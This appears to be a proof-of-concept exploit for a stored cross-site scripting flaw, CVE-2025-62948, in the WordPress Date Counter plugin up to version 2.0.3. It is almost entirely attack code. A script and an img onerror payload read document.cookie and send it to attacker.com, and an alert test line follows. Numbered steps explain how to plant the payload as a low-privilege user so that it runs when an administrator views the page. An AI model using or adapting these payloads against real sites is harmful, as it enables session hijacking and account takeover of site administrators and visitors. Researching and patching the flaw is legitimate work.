CVE-2025-62948

<!-- CVE-2025-62948 Stored XSS PoC --> <!-- Target: WordPress Date Counter Plugin <= 2.0.3 --> <!-- Author: Security Researcher --> <!-- Step 1: Inject malicious payload through plugin input field --> <script> // Malicious JavaScript payload var cookies = document.cookie; var xhr = new XMLHttpRequest(); xhr.open('POST', 'https://attacker.com/steal', true); xhr.setRequestHeader('Content-Type', 'application/x-www-form-urlencoded'); xhr.send('cookie=' + encodeURIComponent(cookies)); </script> <!-- Alternative payload: Session hijacking --> <img src=x onerror="fetch('https://attacker.com/log?c='+document.cookie)"> <!-- Stored XSS in date input field --> <!-- Inject via plugin admin panel or API endpoint --> <p>Date Counter: <script>alert(document.domain)</script></p> <!-- Real-world exploitation steps --> <!-- 1. Authenticate as low-privilege WordPress user --> <!-- 2. Navigate to Date Counter plugin settings --> <!-- 3. Insert XSS payload in date field or counter text --> <!-- 4. Save settings (payload stored in database) --> <!-- 5. Wait for admin or user to view affected page --> <!-- 6. Malicious JS executes in victim's browser -->

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